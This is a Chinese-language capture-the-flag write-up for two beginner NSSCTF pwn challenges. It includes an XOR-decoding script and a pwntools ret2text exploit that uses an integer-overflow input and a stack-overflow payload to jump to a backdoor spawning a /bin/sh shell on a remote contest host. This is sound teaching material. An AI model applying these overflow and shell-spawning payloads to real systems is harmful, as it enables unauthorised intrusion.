NSSCTF Round# 16 Basic pwn方向题解

news2025/2/28 3:16:42

pwn

nc_pwnre

没有附件,nc直接连接

给了一段汇编代码,让gpt翻译一下

这段汇编代码是一个循环,它对存储在ebp+i位置的字符串进行处理。让我逐步解释一下每个指令的作用:

mov eax, [ebp+i]: 将ebp+i位置的值加载到eax寄存器中。
add eax, 1: 将eax寄存器中的值加1。
mov [ebp+i], eax: 将eax寄存器中的值存储回ebp+i位置。
mov ecx, [ebp+Str]: 将ebp+Str位置的值加载到ecx寄存器中,这里假设Str是一个指向字符串的指针。
push ecx: 将ecx寄存器中的值压入栈中,准备调用函数。
call _strlen: 调用名为_strlent的函数,用于计算字符串的长度。
add esp, 4: 调整栈指针,恢复栈的平衡。
cmp [ebp+i], eax: 将ebp+i位置的值与eax寄存器中的值进行比较。
jge short loc_40119D: 如果比较结果大于等于,则跳转到loc_40119D处,否则继续执行下一条指令。
mov edx, [ebp+Str]: 将ebp+Str位置的值加载到edx寄存器中。
add edx, [ebp+i]: 将ebp+i位置的值加到edx寄存器中,得到字符串中的偏移量。
movsx eax, byte ptr [edx]: 将edx寄存器指向的字节加载到eax寄存器中,并进行符号扩展。
xor eax, 10h: 将eax寄存器中的值与10h进行异或操作。
mov ecx, [ebp+Str]: 将ebp+Str位置的值加载到ecx寄存器中。
add ecx, [ebp+i]: 将ebp+i位置的值加到ecx寄存器中,得到字符串中的偏移量。
mov [ecx], al: 将al寄存器中的值存储到ecx寄存器指向的位置。
jmp short loc_40116D: 无条件跳转到loc_40116D处,即循环的开始。
根据你提供的结果,这段汇编代码对字符串进行了异或操作,并将结果存储回原字符串中。你的结果是一个经过异或处理的字符串。

实际就是把字符串异或了一下,写个脚本异或回去

data = [0x44, 0x7c, 0x5e, 0x44, 0x41, 0x21, 0x42, 0x57, 0x75, 0x21, 0x74, 0x56, 0x44, 0x57, 0x5d, 0x67, 0x44, 0x46, 0x29, 0x45, 0x5d, 0x56, 0x29, 0x67, 0x46, 0x22, 0x25, 0x76, 0x74, 0x6a, 0x52, 0x69, 0x5d, 0x47, 0x41, 0x78, 0x76, 0x41, 0x2d, 0x2d]
key = 0x10

original_data = []
for byte in data:
    original_byte = byte ^ key
    original_data.append(original_byte)

original_string = ''.join(chr(byte) for byte in original_data)
print(original_string)

得到base64编码

TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

CyberChef转码

 但这个不是flag哦,我们把这个输入到程序

输入之后ls,cat flag即可 

NSSCTF{ae034760-adc0-4f3d-92d2-0ab3b91143ac}

 ret_text

下载附件,拖入kali中,使用file指令

32位程序 ,接着checksec,检查保护

32位IDA打开,分析read函数这里有栈溢出,但是前面有个if卡着

 这个if要求你的输入小于0,并且输入的数的负数也小于0,一般的数字肯定不行,我们看一下类型

是int,可以采用整数溢出,也就是输入超出范围的数

在C语言中,最小的 int 值是 -2147483648(即 -2^31),当我们取这个数的相反数时,由于 int 的最大值是 2147483647(即 2^31 - 1),所以无法表示出来,导致整数溢出,取反后的值仍然是 -2147483648。所以,为了满足 if 语句的条件,你需要输入 -2147483648

 发现有后门函数

地址0x8049328

解题思路:

  1. 先链接远程
  2. 输入-2147483648,使其进入if
  3. 输入过多字符,让read这里栈溢出
  4. 调用system("/bin/sh")
  5. ls,cat 即可

写脚本

from pwn import *  #调用pwntools

p=remote('node7.anna.nssctf.cn',28822)   #链接远程

backdoor = 0x8049328  #后门函数地址
payload = b'a' *(0x20+0x4) + p32(backdoor)  #构造playload

p.sendlineafter('Easy ret2text!!!Input:','-2147483648')   #先发送个-2147483648过去,使其进入if

p.recvline() #接收一下回显,只是让right这一句正常输出,让程序正确执行
p.sendline(payload) #发送攻击负载,让栈溢出,并执行后门函数
p.interactive() #交互

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1382627.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Django框架实现RESTful API,对商品信息的增删改查,前后端分离

如果是第一次接触Django框架,可以先了解Django项目是怎么创建的。 文章目录 1.什么是RESTful API?1.1RESTful API 中的动作 2.使用Django框架实现RESTful 接口2.1初始化项目,安装必要的环境2.2定义商品模型2.3 迁移数据到数据库2.4 创建序列…

QT上位机开发(知识产权ip保护)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 大部分看我们文章的网友,本身就是搞技术出身的,很少是做生意,或者是做销售的。但是技术本身,它又是…

12.2内核空间基于SPI总线的OLED驱动

在内核空间编写SPI设备驱动的要点 在SPI总线控制器的设备树节点下增加SPI设备的设备树节点,节点中必须包含 reg 属性、 compatible 属性、 spi-max-frequency 属性, reg 属性用于描述片选索引, compatible属性用于设备和驱动的匹配&#xff…

开发辅助六(实现统一数据返回格式+统一异常处理+统一日志处理)

统一返回格式 一、添加枚举类 public enum ResultCodeEnum{SUCCESS(true,20000,"成功"),UNKNOWN_REASON(false,20001,"未知错误");private final Boolean success;private final Inteer code;private final String message;ResultCodeEnum(Boolean succe…

《ORANGE’S:一个操作系统的实现》读书笔记(三十)文件系统(五)

上一篇文章记录了如何进行文件的创建,那么本篇文章要记录的事情就是如何在创建的文件中进行读写操作,毕竟文件是要操作才有意义的。 读写文件 由于我们使用“一次分配,终身使用”的扇区分配策略,所以文件读写变得非常容易&#…

4_【Linux版】重装数据库问题处理记录

1、卸载已安装的oracle数据库。 2、知识点补充: 3、调整/dev/shm/的大小 【linux下修改/dev/shm tmpfs文件系统大小 - saratearing - 博客园 (cnblogs.com)】 mount -o remount,size100g /dev/shm 4、重装oracle后没有orainstRoot.sh 【重装oracle后没有orains…

外国入境的免签国家以及中外互免(普通护照*、普通公务护照)

2024.1.11起,外籍人员在北京首都、北京大兴、上海浦东、杭州萧山、厦门高崎、广州白云、深圳宝安、成都天府、西安咸阳9个国际机场,推行24小时直接过境旅客免办边检手续。对于持24小时内国际联程机票,经上述任一机场过境前往第三国或地区的出…

Leading Dimension是什么

在LAPACK中频繁出现Leading Dimension(中文翻译为“主维度”),那么它是什么呢? 首先了解行主序(Row-Major)和列主序(Column-Major)的概念: Given a matrix A of shape …

低代码助力制造业数智转型,激发创新力迎接工业 4.0

随着科技的不断进步,我们迈入了一个崭新的工业时代——工业4.0。这场工业革命不仅颠覆了制造业的传统形象,还为全球生产方式带来了前所未有的变革。 在这一过程中,制造业数字化转型逐渐成为主旋律,而低代码技术在这其中发挥着重要…

Azure Machine Learning - 视频AI技术

Azure AI 视频索引器是构建在 Azure 媒体服务和 Azure AI 服务(如人脸检测、翻译器、Azure AI 视觉和语音)基础之上的一个云应用程序,是 Azure AI 服务的一部分。 有了 Azure 视频索引器,就可以使用 Azure AI 视频索引器视频和音频…

注册中心--zookeeper 安装并启动

zookeeper 安装/启动 注册中心--zookeeper安装步骤zookeeper常用命令 注册中心–zookeeper zookeeper官方下载地址 最早由雅虎开发,用来解决分布式系统中的一致性问题。功能:包括配置管理、集群的扩容和缩容、分布式锁等等。 安装步骤 1)…

使用kibana来创建ElasticSearch的索引库与文档的命令

文章目录 🐒个人主页🏅JavaEE系列专栏📖前言:🎀使用kibana来为ElasticSearch创建索引库🎀使用kibana来为ElasticSearch创建修改文档 🐒个人主页 🏅JavaEE系列专栏 📖前言…

Jetpack Flow 、Room 初学者学习记录

学习使用响应式Flow操作数据,记录自己学习的过程。 ContactViewModel 是一个 ViewModel,它依赖于一个Room操作接口 ContactDao ,访问对象来获取联系人数据。它使用了 StateFlow 来处理状态的变化和数据的更新。ViewModels 通常用于管理应用的…

【数据结构】树和二叉树堆(基本概念介绍)

🌈个人主页:秦jh__https://blog.csdn.net/qinjh_?spm1010.2135.3001.5343🔥 系列专栏:《数据结构》https://blog.csdn.net/qinjh_/category_12536791.html?spm1001.2014.3001.5482 ​​ 目录 前言 树的概念 树的常见名词 树与…

【OpenGauss源码学习 —— 执行器(execMain)】

执行器(execMain) 概述文件内容作用执行的操作主要函数概述 部分函数详细分析ExecutorStart 函数standard_ExecutorStart 函数 ExecutorRun 函数standard_ExecutorRun 函数 ExecutorFinish 函数standard_ExecutorFinish 函数 ExecutorEnd 函数standard_E…

[软件工具]通用OCR识别文字识别中文识别服务程序可局域网访问

【软件界面】 【算法介绍】 采用业界最先进算法之一paddlocr,PaddleOCR,全称PaddlePaddle OCR,是一种基于深度学习的光学字符识别(OCR)技术。相较于传统的OCR技术,PaddleOCR具有许多优点。 首先&#xff0…

windows下cmake Could NOT find Eigen3 (missing: Eigen3_DIR)解决办法-配置eigen3

在windows下用cmake构建项目,提示Could NOT find Eigen3 (missing: Eigen3_DIR) windows自行编译配置方法:参考这篇博客,我的windows没安装,使用的是VS2019,没有差别。 Windows安装配置eigen3 重新编译,这时候可能会…

NUS CS1101S:SICP JavaScript 描述:前言、序言和致谢

前言 原文:Foreword 译者:飞龙 协议:CC BY-NC-SA 4.0 我有幸在我还是学生的时候见到了了不起的 Alan Perlis,并和他交谈了几次。他和我共同深爱和尊重两种非常不同的编程语言:Lisp 和 APL。跟随他的脚步是一项艰巨的任…

插件化简单介绍

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、商业变现、人工智能等,希望大家多多支持。 未经允许不得转载 目录 一、导读二、概览三、常见的插件化方案…

深入理解 Spark(三)SparkTask 执行与 shuffle 详解

SparkTask 的分发部署与启动流程分析 Spark Action 算子触发 job 提交 Spark 当中 Stage 切分源码详解 Task 的提交与执行 SparkShuffle 机制详解 MapReduceShuffle 全流程深度剖析 MapReduce 全流程执行过程中参与工作的组件以及他们的执行先后顺序:InputFormat …